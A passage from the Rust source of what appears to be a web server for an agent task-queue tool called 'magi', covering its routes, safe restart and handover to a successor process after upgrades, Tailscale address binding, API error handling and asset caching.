864            // it - deliberately - so the fix is that the panel's own URL ends
865            // in a filename and its siblings are the assets.
866            .route("/api/questions/{id}/panel/index.html", get(question_panel))
867            .route("/api/questions/{id}/panel/{name}", get(question_asset))
868            .route("/api/questions/{id}/asset/{name}", get(question_asset))
869            .route("/api/notifications", get(notifications_list))
870            .route("/api/notifications/read-all", post(notifications_read_all))
871            .route("/api/notifications/{id}/read", post(notification_read))
872            .route(
873                "/api/notifications/{id}/dismiss",
874                post(notification_dismiss),
875            )
876            .route("/api/talks", get(talks_list).post(talk_post))
877            .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
878            .route("/api/talks/{id}/say", post(talk_say))
879            .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
880            .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
881            .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
882            .route("/api/talks/{id}/agent", post(talk_agent))
883            .route("/api/talks/{id}/close", post(talk_close))
884            .route("/api/talks/{id}/reopen", post(talk_reopen))
885            // `DefaultBodyLimit` is raised only on this one route - every
886            // other route on this server answers in a few kilobytes, and
887            // widening the crate-wide default for all of them just because
888            // one accepts a picture would let any other handler be handed
889            // a multi-megabyte body it never expects.
890            .route(
891                "/api/talks/{id}/attachments",
892                post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
893            )
894            .route(
895                "/api/talks/{id}/attachments/{att}",
896                get(talk_attachment_get),
897            )
898            .route("/api/events", get(events))
899            .with_state(Arc::new(self))
900    }
901}
902
903/// One talk's turn slot, released on drop.
904///
905/// A guard rather than a matching `remove` at the end of the handler, because
906/// the handler has several early returns and one `await` that can be cancelled
907/// out from under it. A leaked id is a talk nobody can talk to again.
908#[derive(Debug)]
909struct TalkTurnGuard {
910    talk: String,
911    turns: Arc<Mutex<TalkTurns>>,
912    released: bool,
913}
914
915/// In-memory turn ownership plus the queue generation observed by a drainer.
916///
917/// The generation changes only after a durable queued draft is written and its
918/// caller finds the turn busy. That lets the loop run filesystem work outside
919/// this mutex while still making the final empty-check/release atomic with a
920/// concurrent queue handoff.
921#[derive(Debug, Default)]
922struct TalkTurns {
923    live: HashSet<String>,
924    queued: HashMap<String, u64>,
925}
926
927/// The atomic initial-state decision made by
928/// [`Ui::begin_talk_turn_unless_pending`].
929enum TalkTurnStart {
930    Claimed(TalkTurnGuard),
931    Busy,
932    Pending,
933}
934
935impl TalkTurnGuard {
936    /// Release while the caller already holds the claim mutex, closing the
937    /// last-drain/arrival gap without letting `Drop` revoke a later claim.
938    fn release(mut self, live: &mut TalkTurns) {
939        live.live.remove(&self.talk);
940        live.queued.remove(&self.talk);
941        self.released = true;
942    }
943}
944
945impl Drop for TalkTurnGuard {
946    fn drop(&mut self) {
947        if self.released {
948            return;
949        }
950        if let Ok(mut live) = self.turns.lock() {
951            live.live.remove(&self.talk);
952            live.queued.remove(&self.talk);
953        }
954    }
955}
956
957/// Releases a resume claim, so a run is resumable again after the attempt.
958struct ResumeGuard {
959    run: String,
960    resuming: Arc<Mutex<HashSet<String>>>,
961}
962
963impl Drop for ResumeGuard {
964    fn drop(&mut self) {
965        if let Ok(mut live) = self.resuming.lock() {
966            live.remove(&self.run);
967        }
968    }
969}
970
971/// Bind the port, waiting briefly for a predecessor to let go of it.
972///
973/// A restart hands the address from one process to the next, and the old one
974/// holds its listener until it unwinds. A single `bind` can lose that race,
975/// and for a restart triggered from a phone that means the deck never comes
976/// back with no terminal around to say why.
977///
978/// Bounded, and only for the one error a wait can fix: anything else fails at
979/// once, because retrying it would turn a clear message into a silence.
980async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
981    const WINDOW: Duration = Duration::from_secs(10);
982    const GAP: Duration = Duration::from_millis(250);
983
984    let deadline = std::time::Instant::now() + WINDOW;
985    let mut said = false;
986    loop {
987        match tokio::net::TcpListener::bind(socket).await {
988            Ok(listener) => return Ok(listener),
989            Err(e)
990                if e.kind() == std::io::ErrorKind::AddrInUse
991                    && std::time::Instant::now() < deadline =>
992            {
993                if !said {
994                    said = true;
995                    tracing::info!(
996                        "{socket} is still held - waiting up to {}s for it, \
997                         which is what a restart looks like from here",
998                        WINDOW.as_secs()
999                    );
1000                }
1001                tokio::time::sleep(GAP).await;
1002            }
1003            Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1004        }
1005    }
1006}
1007
1008/// Signalled when an upgrade has replaced the binary and the successor should
1009/// take this address over. One per process: there is one address to hand on.
1010static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1011
1012/// Set to `1` on the successor when the loop was running at handover.
1013const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1014
1015/// Whether the environment value asks for the loop to be resumed.
1016fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1017    value.is_some_and(|v| v == "1")
1018}
1019
1020/// Start this binary again with the same arguments, detached.
1021///
1022/// Called from [`serve`]'s exit path, *after* the listener has been dropped,
1023/// so the address is already free when the successor binds it. The first
1024/// attempt at this spawned the successor two hundred milliseconds before
1025/// exiting instead, and the released binary - which has no bind retry - died
1026/// on "address already in use" with its stdio sent to null, so the deck
1027/// simply never came back.
1028///
1029/// Detached and without inherited stdio: the successor has to outlive this
1030/// process, and must not hold open a pipe a terminal is waiting on.
1031///
1032/// `resume` tells the successor to start the queue loop, through
1033/// [`RESUME_LOOP_ENV`]. It is always set or removed explicitly so a value this
1034/// process inherited from its own predecessor cannot leak into a generation
1035/// that should not resume. The successor's own environment keeps the variable
1036/// (and so do the agent CLIs it starts); `serve` reads it once at startup.
1037///
1038/// The successor's stdout and stderr are appended to `<home>/web.log` rather
1039/// than sent to null: a supervisor's redirection only ever held the first
1040/// generation's descriptors, so every later generation logged nowhere. The
1041/// pid of the child is returned so the handover log can name it.
1042fn spawn_successor(home: &FsPath, resume: bool) -> Result<u32> {
1043    let exe = std::env::current_exe().context("find this binary")?;
1044    let args: Vec<String> = std::env::args().skip(1).collect();
1045    updater::log_step(
1046        home,
1047        &format!("restarting: {} {}", exe.display(), args.join(" ")),
1048    );
1049    let log_path = home.join(WEB_LOG);
1050    let open_log = || {
1051        std::fs::create_dir_all(home)?;
1052        std::fs::OpenOptions::new()
1053            .create(true)
1054            .append(true)
1055            .open(&log_path)
1056    };
1057    let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
1058        Ok(pair) => (
1059            std::process::Stdio::from(pair.0),
1060            std::process::Stdio::from(pair.1),
1061        ),
1062        Err(e) => {
1063            updater::log_warn(
1064                home,
1065                &format!(
1066                    "could not open {}: {e}; the successor logs nowhere",
1067                    log_path.display()
1068                ),
1069            );
1070            (std::process::Stdio::null(), std::process::Stdio::null())
1071        }
1072    };
1073
1074    let mut cmd = std::process::Command::new(&exe);
1075    if resume {
1076        cmd.env(RESUME_LOOP_ENV, "1");
1077    } else {
1078        cmd.env_remove(RESUME_LOOP_ENV);
1079    }
1080    cmd.args(&args)
1081        .stdin(std::process::Stdio::null())
1082        .stdout(out)
1083        .stderr(err);
1084    #[cfg(windows)]
1085    {
1086        use std::os::windows::process::CommandExt as _;
1087        // DETACHED_PROCESS | CREATE_NEW_PROCESS_GROUP: no console to inherit,
1088        // and Ctrl-C in the old terminal must not reach the successor.
1089        cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1090    }
1091    let child = cmd.spawn().context("start the successor")?;
1092    Ok(child.id())
1093}
1094
1095/// File under `<home>` the successor's output is appended to.
1096const WEB_LOG: &str = "web.log";
1097
1098/// Resolves when [`HANDOVER`] is signalled. The only waiter on it: a permit
1099/// stored by an earlier `notify_one` is consumed by the first poll, so the
1100/// signal is never missed and never wakes a second time.
1101async fn wait_for_handover(signal: &Notify) {
1102    signal.notified().await;
1103}
1104
1105/// Serve the UI until Ctrl-C, finishing a run the loop has in flight.
1106///
1107/// The server itself owns no state, so nothing here is graceful for the HTTP
1108/// side's sake: the connections go with the dropped listener, which costs a
1109/// phone one change-stream reconnection it was going to make anyway.
1110///
1111/// The signal branch is not optional now that the loop lives in this process.
1112/// [`daemon::serve_until`] listens for Ctrl-C itself, and a registered
1113/// handler is what stops the signal terminating the process - so without a
1114/// branch of our own, the first Ctrl-C after the operator started the loop
1115/// would stop the loop and leave `magi web` listening forever, unkillable
1116/// from the terminal it was started in.
1117///
1118/// What it waits for is the loop, not the sockets. A run in flight is
1119/// finished first, for the reason [`daemon::serve`] gives: killing the graph
1120/// mid-node leaves worktrees, branches and agent sessions behind and throws
1121/// away every agent call already paid for.
1122///
1123/// The server therefore runs on a task of its own rather than inside the
1124/// `select!`: an arm that resolves *drops* the futures the other arms were
1125/// polling, so serving the address from inside one would take the deck down
1126/// at the instant the handover began and keep it down for the whole park -
1127/// up to `timeout_implement`, an hour by default. See [`hand_over`], which
1128/// owns the order.
1129pub async fn serve(opts: Opts) -> Result<()> {
1130    let (addr, warning) = resolve_bind(&opts.bind);
1131    if let Some(warning) = warning {
1132        tracing::warn!("{warning}");
1133    }
1134
1135    // Process-global, and therefore set exactly once, here: the report route
1136    // must never emit escape sequences into a browser, and toggling the flag
1137    // per request would race with a concurrent request rendering its own
1138    // report. Startup is the only moment at which no request can observe the
1139    // change. Nothing in the server turns colour back on.
1140    report::set_color(false);
1141
1142    let repo = normalize_default_repo(opts.repo).await;
1143    let ui = Ui::open(repo).with_merge(opts.merge);
1144    // Cloned before `ui.router()` consumes `ui` below: `hand_over` needs the
1145    // home to bracket the parking and restarting stages, and `run_update_recheck`
1146    // needs both it and the repo, and by then there is no `ui` left to read
1147    // them from.
1148    let home = ui.home.clone();
1149    let repo = ui.repo.clone();
1150    // Settles a progress record a predecessor left non-terminal - either this
1151    // *is* the successor `spawn_successor` started, or the previous process
1152    // died mid-handover. Before the router starts answering, so the very
1153    // first `/api/health` a phone gets from this process already reflects it.
1154    updater::reconcile_after_restart(&home);
1155    updater::log_step(
1156        &home,
1157        &format!(
1158            "web process started (version {}); handover log {}, successor output {}",
1159            env!("CARGO_PKG_VERSION"),
1160            updater::log_path(&home).display(),
1161            home.join(WEB_LOG).display()
1162        ),
1163    );
1164    updater::spawn_watchdog(home.clone());
1165    // `magi web` can stay up for days, and the one-time check `main.rs`'s
1166    // `spawn_update_check` does at startup only ever runs once: after that,
1167    // `/api/health`'s `update` field - and the phone's "Update & restart"
1168    // button, which reads the very same cache - would stay frozen on
1169    // whatever that single check found, no matter how many releases ship
1170    // afterwards. This keeps it current instead. Detached: it must keep
1171    // going for as long as this process serves, `serve` has nothing to await
1172    // it for, and it exits on its own the moment the process does.
1173    tokio::spawn(run_update_recheck(repo, home.clone()));
1174    let looping = ui.looping();
1175    let socket = SocketAddr::new(addr, opts.port);
1176    let listener = bind_waiting(socket).await?;
1177    let url = format!("http://{addr}:{}", opts.port);
1178    tracing::info!(
1179        "magi web UI on {url} - there is no authentication, so anyone who can \
1180         reach this address can file and hold tasks: the tailnet is the \
1181         security boundary"
1182    );
1183    if ui.resume_after_handover(resume_requested(std::env::var_os(RESUME_LOOP_ENV))) {
1184        tracing::info!("resumed the loop the predecessor was running");
1185    } else {
1186        tracing::info!(
1187            "the queue loop is not running yet - start it from the UI, which is \
1188             the whole reason this process can: nothing in the queue moves until \
1189             something is running the loop"
1190        );
1191    }
1192    if opts.open {
1193        // The URL alone on stdout, for a caller that wants to open it. magi
1194        // does not spawn a browser: on the machine this usually runs on there
1195        // is no display, and a failed launch would be the only output.
1196        println!("{url}");
1197    }
1198
1199    // On its own task, so nothing this function awaits can stop the address
1200    // being answered. `hand_over` is where it is given up.
1201    let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
1202    let interrupted = async {
1203        if tokio::signal::ctrl_c().await.is_err() {
1204            // No handler on this platform, so there is no signal to act on.
1205            // Never resolving is the safe answer: a failed registration must
1206            // not masquerade as the operator asking for a shutdown and take
1207            // the UI down on startup.
1208            std::future::pending::<()>().await;
1209        }
1210    };
1211    let handover = wait_for_handover(&HANDOVER);
1212    let outcome = tokio::select! {
1213        joined = &mut served => match joined {
1214            Ok(outcome) => outcome.context("serve the web UI"),
1215            Err(e) => Err(e).context("the task serving the web UI ended"),
1216        },
1217        () = interrupted => {
1218            tracing::info!("shutting down the web UI");
1219            finish_loop(&home, &looping).await;
1220            Ok(())
1221        }
1222        () = handover => {
1223            updater::log_step(&home, "serve: the select! woke on the handover signal");
1224            let successor_home = home.clone();
1225            hand_over(&home, &looping, served, move |resume| {
1226                spawn_successor(&successor_home, resume)
1227            })
1228            .await
1229        }
1230    };
1231    updater::log_step(
1232        &home,
1233        &match &outcome {
1234            Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
1235            Err(e) => format!("serve: returning an error: {e:#}"),
1236        },
1237    );
1238    outcome
1239}
1240
1241/// `opts.repo`, or - when it is still `--repo`'s own default (`.`) and the
1242/// process's own working directory is not a git checkout at all - the
1243/// checkout [`repos::discover_verified`] finds instead.
1244///
1245/// Only the unmodified default is ever replaced: an operator who named a
1246/// directory outright, git checkout or not, gets exactly that directory
1247/// back, and the same story downstream (a talk whose briefing embeds a
1248/// non-git directory, and an agent that has to ask the operator where the
1249/// real repository is) that has always told them so - substituting a guess
1250/// for an explicit answer would be a second, silent opinion about what they
1251/// meant. There is no instruction or task text yet to match against this
1252/// early, so only [`repos::discover_verified`]'s own-repository tier can
1253/// ever settle this - the hint tier never fires here.
1254///
1255/// [`repos::discover_verified`], not [`repos::discover`]: a candidate this
1256/// found by filesystem shape alone is not yet trustworthy - a stale `.git`,
1257/// or a git installation that is broken in exactly the way that made the
1258/// original `canonical` check above fail too - so it is re-checked with
1259/// `git::toplevel` before it is ever used in place of the operator's own
1260/// directory.
1261async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1262    if repo != FsPath::new(".") {
1263        return repo;
1264    }
1265    let Ok(canonical) = repo.canonicalize() else {
1266        return repo;
1267    };
1268    if git::toplevel(&canonical).await.is_ok() {
1269        return repo;
1270    }
1271    let Some(home) = dirs::home_dir() else {
1272        return repo;
1273    };
1274    match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1275        Some(found) => {
1276            tracing::info!(
1277                "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1278                canonical.display(),
1279                found.path.display(),
1280                found.reason,
1281            );
1282            found.path
1283        }
1284        None => repo,
1285    }
1286}
1287
1288/// Park the loop, then release the address, then start the successor.
1289///
1290/// The order is the whole function, and each step is answerable to a failure
1291/// this arrangement has already had:
1292///
1293/// 1. **Park.** The loop was asked to stop by the request that replaced the
1294///    binary, and this waits for it, because killing the graph mid-node
1295///    leaves worktrees, branches and agent sessions behind and throws away
1296///    every agent call already paid for. It takes as long as the node in
1297///    flight - up to `timeout_implement`, an hour by default - and the deck
1298///    goes on answering for all of it, which is the reason `served` is a task
1299///    rather than an arm of [`serve`]'s `select!`. It was an arm once: the
1300///    first upgrade from a phone that caught a run mid-implement dropped the
1301///    listener the moment it was asked to, and the operator got
1302///    `Cannot reach magi: Failed to fetch` with no way to see the park it was
1303///    waiting on and nothing but a process list to say the run was alive.
1304/// 2. **Release.** Aborting *and awaiting* the task is what frees the socket:
1305///    the join resolves only once the task's future has been dropped, so the
1306///    listener is released before the next line. Connections it already
1307///    accepted are served on tasks of their own and wind down asynchronously;
1308///    on some platforms (macOS) they can briefly keep the address busy, and
1309///    the successor's `bind_waiting` absorbs that.
1310/// 3. **Start the successor**, which binds the address this process has just
1311///    let go of - see [`spawn_successor`] for what the other order cost.
1312///
1313/// The [`updater::Progress`] bookkeeping bracketing steps 1 and 3 is
1314/// reporting, not part of the design: it exists so `/api/health` can say
1315/// "parking, waiting on run X" instead of leaving the phone to guess why the
1316/// deck went quiet, and dropping it would not change the order above.
1317async fn hand_over(
1318    home: &FsPath,
1319    looping: &Mutex<LoopState>,
1320    served: tokio::task::JoinHandle<std::io::Result<()>>,
1321    successor: impl FnOnce(bool) -> Result<u32>,
1322) -> Result<()> {
1323    updater::log_step(home, "hand_over: entered; writing the parking stage");
1324    match updater::read_progress(home) {
1325        Some(mut progress) => {
1326            progress.advance(updater::Stage::Parking);
1327            updater::write_progress_logged(home, &progress);
1328        }
1329        None => updater::log_warn(
1330            home,
1331            "hand_over: upgrade.json is unreadable; no parking stage",
1332        ),
1333    }
1334    finish_loop(home, looping).await;
1335    updater::log_step(home, "hand_over: releasing the listener (abort and await)");
1336    served.abort();
1337    let _ = served.await;
1338    updater::log_step(home, "hand_over: listener released");
1339    // Read last: the deck answers for the whole park, so an operator's stop
1340    // during the wait must still be honoured by the successor.
1341    let resume = lock_or_recover(looping).resume_after_handover;
1342    match updater::read_progress(home) {
1343        Some(mut progress) => {
1344            progress.advance(updater::Stage::Restarting);
1345            updater::write_progress_logged(home, &progress);
1346        }
1347        None => updater::log_warn(
1348            home,
1349            "hand_over: upgrade.json is unreadable; no restarting stage",
1350        ),
1351    }
1352    updater::log_step(
1353        home,
1354        &format!("hand_over: starting the successor (resume={resume})"),
1355    );
1356    match successor(resume) {
1357        Ok(pid) => {
1358            updater::log_step(home, &format!("hand_over: successor started, pid {pid}"));
1359            Ok(())
1360        }
1361        Err(e) => {
1362            updater::log_warn(
1363                home,
1364                &format!("hand_over: the successor did not start: {e:#}"),
1365            );
1366            Err(e)
1367        }
1368    }
1369}
1370
1371/// Ask the loop to stop and wait for it, on the way out of [`serve`].
1372///
1373/// The wait is the whole function. Returning from `serve` while a graph is
1374/// mid-node ends the process with worktrees, branches and agent sessions left
1375/// behind and every agent call in that run paid for and thrown away, which is
1376/// exactly what the daemon's own shutdown refuses to do.
1377async fn finish_loop(home: &FsPath, state: &Mutex<LoopState>) {
1378    let live = lock_or_recover(state).live.take();
1379    let Some(live) = live else {
1380        updater::log_step(home, "finish_loop: no loop running; nothing to wait for");
1381        return;
1382    };
1383    live.stop.stop();
1384    lock_or_recover(state).rev += 1;
1385    updater::log_step(
1386        home,
1387        "finish_loop: waiting for the loop to finish the run in flight",
1388    );
1389    let waited = std::time::Instant::now();
1390    // The task records its own outcome and logs it, so there is nothing to do
1391    // with a join error here but stop waiting.
1392    let _ = live.handle.await;
1393    updater::log_step(
1394        home,
1395        &format!(
1396            "finish_loop: the loop ended after {:.1}s",
1397            waited.elapsed().as_secs_f32()
1398        ),
1399    );
1400}
1401
1402/// Resolve `--bind` to an address, plus a warning when the answer is not what
1403/// the operator asked for.
1404///
1405/// Split out from [`serve`] because the interesting half - deciding whether
1406/// Tailscale gave us something usable - is testable without opening a socket.
1407pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1408    match bind {
1409        Bind::Addr(addr) => (*addr, None),
1410        Bind::Auto => match tailscale_ip() {
1411            Ok(ip) => (IpAddr::V4(ip), None),
1412            Err(why) => (
1413                IpAddr::V4(Ipv4Addr::LOCALHOST),
1414                Some(format!(
1415                    "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1416                     local-only and a phone cannot reach it; start Tailscale \
1417                     or pass --bind <addr>"
1418                )),
1419            ),
1420        },
1421    }
1422}
1423
1424/// This machine's Tailscale IPv4, or why there is not one.
1425///
1426/// `tailscale ip -4` is a local call against the running daemon and returns in
1427/// milliseconds, so it is fine to make it synchronously before the server
1428/// exists. Only an address inside `100.64.0.0/10` is accepted: that is the
1429/// CGNAT block Tailscale assigns from, and anything else on that output would
1430/// be a different tool answering.
1431fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1432    let out = std::process::Command::new("tailscale")
1433        .args(["ip", "-4"])
1434        .quiet()
1435        .output()
1436        .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1437    if !out.status.success() {
1438        let why = String::from_utf8_lossy(&out.stderr);
1439        let why = why.trim();
1440        return Err(format!(
1441            "`tailscale ip -4` failed ({}){}",
1442            out.status,
1443            if why.is_empty() {
1444                String::new()
1445            } else {
1446                format!(": {why}")
1447            }
1448        ));
1449    }
1450    String::from_utf8_lossy(&out.stdout)
1451        .lines()
1452        .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1453        .find(is_tailnet)
1454        .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1455}
1456
1457/// Is this address in the CGNAT block Tailscale hands out from?
1458fn is_tailnet(ip: &Ipv4Addr) -> bool {
1459    let o = ip.octets();
1460    o[0] == 100 && (64..=127).contains(&o[1])
1461}
1462
1463/// What every handler returns. Spelled out because `Result` in this crate is
1464/// `anyhow::Result`, and a handler's error is a status code as much as a
1465/// message.
1466type ApiResult<T> = std::result::Result<T, ApiError>;
1467
1468/// A handler failure, rendered as the `{"error": ".."}` body the UI expects.
1469#[derive(Debug)]
1470struct ApiError {
1471    status: StatusCode,
1472    message: String,
1473}
1474
1475impl ApiError {
1476    /// The client asked for something malformed.
1477    fn bad_request(message: impl Into<String>) -> Self {
1478        Self {
1479            status: StatusCode::BAD_REQUEST,
1480            message: message.into(),
1481        }
1482    }
1483
1484    /// No such run or task.
1485    fn not_found(message: impl Into<String>) -> Self {
1486        Self {
1487            status: StatusCode::NOT_FOUND,
1488            message: message.into(),
1489        }
1490    }
1491
1492    /// Someone else owns the thing the client wants to change.
1493    /// Re-badge an error whose default mapping is wrong for this route.
1494    fn with_status(mut self, status: StatusCode) -> Self {
1495        self.status = status;
1496        self
1497    }
1498
1499    /// A rules violation from a domain type, reported as the caller's fault.
1500    /// `Question::answer` rejects an unoffered choice, and that is a bad
1501    /// request, not a server error.
1502    fn bad_request_from(e: anyhow::Error) -> Self {
1503        Self::bad_request(format!("{e:#}"))
1504    }
1505
1506    fn conflict(message: impl Into<String>) -> Self {
1507        Self {
1508            status: StatusCode::CONFLICT,
1509            message: message.into(),
1510        }
1511    }
1512
1513    /// Our fault, or the disk's.
1514    fn internal(message: impl Into<String>) -> Self {
1515        Self {
1516            status: StatusCode::INTERNAL_SERVER_ERROR,
1517            message: message.into(),
1518        }
1519    }
1520}
1521
1522impl From<anyhow::Error> for ApiError {
1523    /// Errors from `queue` and `run` carry their context chain, and the whole
1524    /// chain goes to the client: "parse /home/x/runs/y/run.json: expected
1525    /// value at line 3" is a message an operator can act on, and there is no
1526    /// secret in a path on a single-user tailnet.
1527    fn from(e: anyhow::Error) -> Self {
1528        Self::internal(format!("{e:#}"))
1529    }
1530}
1531
1532impl IntoResponse for ApiError {
1533    fn into_response(self) -> Response {
1534        let body = serde_json::json!({ "error": self.message });
1535        (self.status, Json(body)).into_response()
1536    }
1537}
1538
1539/// Run a handler's filesystem work off the executor.
1540///
1541/// Every route that touches the disk goes through here rather than each one
1542/// arguing about whether its own read is small enough. Uniform because the
1543/// expensive case is not rare: `run.json` for a finished competition holds
1544/// every judgement, deliberation turn and review round, so listing a few
1545/// hundred runs is megabytes of parsing, and the executor threads doing it are
1546/// the same ones serving the change stream of every other connected phone.
1547async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1548where
1549    T: Send + 'static,
1550{
1551    match tokio::task::spawn_blocking(job).await {
1552        Ok(result) => result,
1553        Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1554    }
1555}
1556
1557/// Cache policy for the three compiled-in front-end files.
1558///
1559/// The whole interface is `include_str!`ed into the binary, so its content
1560/// changes only when the binary does - and a phone that keeps a copy is
1561/// welcome to, right up until the deck is replaced. Without a single cache
1562/// header, browsers were free to invent their own policy, and one did:
1563/// yukimemi's phone went on showing "Candidates must be folded before
1564/// deleting. Run `magi fold` first." - a sentence deleted two releases
1565/// earlier - from a run detail served by a deck that no longer contained it.
1566/// The delete button he was told about was right there, and unreachable.
1567///
1568/// `must-revalidate` with an `ETag` keyed on the version: the phone asks
1569/// every time, the answer is a 304 costing one small round trip while the
1570/// deck is unchanged, and the moment it is replaced the tag differs and the
1571/// new interface arrives. Correctness over bytes - this is one file of a few
1572/// tens of kilobytes on a tailnet, and being a version behind is not a
1573/// cosmetic problem when the difference is whether a button exists.
1574const ASSET_CACHE: &str = "no-cache, must-revalidate";
1575
1576/// `ETag` for the compiled-in assets, distinct per build.
1577///
1578/// The version alone would leave a locally built deck - `cargo install
1579/// --path .` twice at the same version, which is the normal way to iterate -
1580/// serving a stale tag for changed bytes. The build timestamp is what makes
1581/// two builds of `0.3.0` differ.
1582fn asset_etag() -> &'static str {
1583    static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1584        format!(
1585            "\"{}-{}\"",
1586            env!("CARGO_PKG_VERSION"),
1587            // Length is a cheap, deterministic stand-in for a hash: the
1588            // three files are compiled in together, so any edit to any of
1589            // them almost certainly changes the total, and a rebuild is what
1590            // this needs to track rather than every possible byte pattern.
1591            INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1592        )
1593    });
1594    &TAG
1595}
1596
1597/// Headers for a compiled-in asset of `mime`.
1598fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1599    [
1600        (header::CONTENT_TYPE, mime),
1601        (header::CACHE_CONTROL, ASSET_CACHE),
1602        (header::ETAG, asset_etag()),
1603    ]
1604}
1605
1606/// Serve a compiled-in asset, answering `304` when the client already has it.
1607///
1608/// axum does not compare `If-None-Match` for us, and a header the server sets
1609/// but never honours is worse than none: the phone revalidates on every load
1610/// and is handed the whole file back each time. Doing the comparison is what
1611/// makes `must-revalidate` cost one small round trip rather than the
1612/// interface.
1613fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1614    let tag = asset_etag();
1615    let known = headers
1616        .get(header::IF_NONE_MATCH)
1617        .and_then(|v| v.to_str().ok())
1618        // A revalidating client may send several, and a proxy may weaken the
1619        // tag to `W/"..."`; matching on containment covers both without
1620        // parsing the grammar.
1621        .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1622    if known {
1623        return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1624    }
1625    (asset_headers(mime), body).into_response()
1626}
1627
1628async fn index(headers: header::HeaderMap) -> Response {
1629    asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1630}
1631
1632async fn app_css(headers: header::HeaderMap) -> Response {
1633    asset(&headers, "text/css; charset=utf-8", APP_CSS)
1634}
1635
1636async fn app_js(headers: header::HeaderMap) -> Response {
1637    asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1638}
1639
1640/// What `/api/health` answers.
1641#[derive(Debug, Serialize)]
1642struct HealthView {
1643    version: &'static str,
1644    home: String,
1645    queue_rev: u64,
1646    runs_rev: u64,
1647    /// The same revisions [`events`] streams for the question and talk
1648    /// stores.
1649    ///
1650    /// Here because this route is what the front end falls back to when the
1651    /// change stream is not up - it re-polls health on a timer and on wake, and
1652    /// takes the revisions from the answer. Without these the fallback
1653    /// compares `undefined` against `undefined` for both stores, decides
1654    /// nothing moved, and a phone with a dead stream never learns that a
1655    /// question was asked or that a talk took a turn. `queue_rev` and
1656    /// `runs_rev` above have always been here for exactly this reason; the rule
1657    /// is that every revision the stream carries, this route carries too.
1658    questions_rev: u64,
1659    /// See [`HealthView::questions_rev`]. The standing chat's own store.
1660    talks_rev: u64,
1661    /// See [`HealthView::questions_rev`]. The notification centre's store.
1662    notifications_rev: u64,
1663    /// Notifications nobody has read yet: the bell's badge before
1664    /// `/api/notifications` has answered.
1665    notifications_unread: usize,
1666    /// See [`HealthView::questions_rev`]. The loop's counter is the one that
1667    /// is not on disk anywhere, so a phone with no change stream has no other
1668    /// way to notice that the loop it is waiting on was started from another
1669    /// device.
1670    loop_rev: u64,
1671    /// Runs on disk whose state this build cannot parse - almost always a
1672    /// schema bump, occasionally a run killed mid-write.
1673    ///
1674    /// Reported because the list silently skips them, and "no competitions
1675    /// yet" is a lie when six of them are sitting in the runs directory. The
1676    /// terminal deck learned the same lesson: a run that fails to parse must
1677    /// not disappear from the count.
1678    runs_unreadable: usize,
1679    /// The disk, and what the runs and their worktrees occupy on it.
1680    ///
1681    /// This is the incident the janitor exists for: magi alone put 30 GB into
1682    /// one shared cache and 6.7-11 GB into each run's worktrees, and a phone
1683    /// is exactly where the operator learns "the disk is the constraint" -
1684    /// the diagnosis that a run is being held for want of space has to be
1685    /// checkable on the same screen.
1686    disk: DiskView,
1687    /// Questions nobody has answered yet, including ones an owner talked
1688    /// back on and is now waiting for the agent's reply to. A round trip
1689    /// never changes [`crate::ask::QuestionStatus`], so this does not drop
1690    /// while the ball is in the agent's court - see
1691    /// [`crate::ask::Questions::count_open`].
1692    questions_open: usize,
1693    /// Of those, how many actually need the owner right now: open, and not
1694    /// [`crate::ask::Question::waiting_on_agent`].
1695    ///
1696    /// The one number that means "nothing will happen until a human acts" -
1697    /// a parked run consumes nothing and progresses never - and the count the
1698    /// ask bar, the nav badge and the document title fall back to before
1699    /// `/api/questions` has answered, so those notification channels clear
1700    /// the instant the owner asks back and reappear the instant the agent
1701    /// replies, instead of sitting lit for however long the agent thinks.
1702    questions_needs_owner: usize,
1703    daemon: DaemonView,
1704    /// The loop in this process, exactly what `/api/loop` answers with.
1705    ///
1706    /// Here so a phone that has just woken needs one request to know whether
1707    /// anything is going to happen at all: `daemon` says a loop is alive
1708    /// somewhere, and this says whether it is one this UI can stop.
1709    #[serde(rename = "loop")]
1710    looping: LoopView,
1711    /// Whether a release newer than this build is known, and which.
1712    ///
1713    /// From [`updater::Checker::cached_update`] - the same throttled state the
1714    /// CLI's `notify` mode banners from - never a live check: this route is
1715    /// polled every few seconds, and a live check on each poll would spend
1716    /// GitHub's rate limit before the operator finished reading the strip.
1717    update: UpdateView,
1718    /// The self-upgrade this deck last set in motion, or `null` before the
1719    /// first one. Read off disk, so the successor can report what its
1720    /// predecessor started.
1721    upgrade: Option<UpgradeProgressView>,
1722}
1723
1724/// What `/api/health` knows about a release newer than this build.
1725///
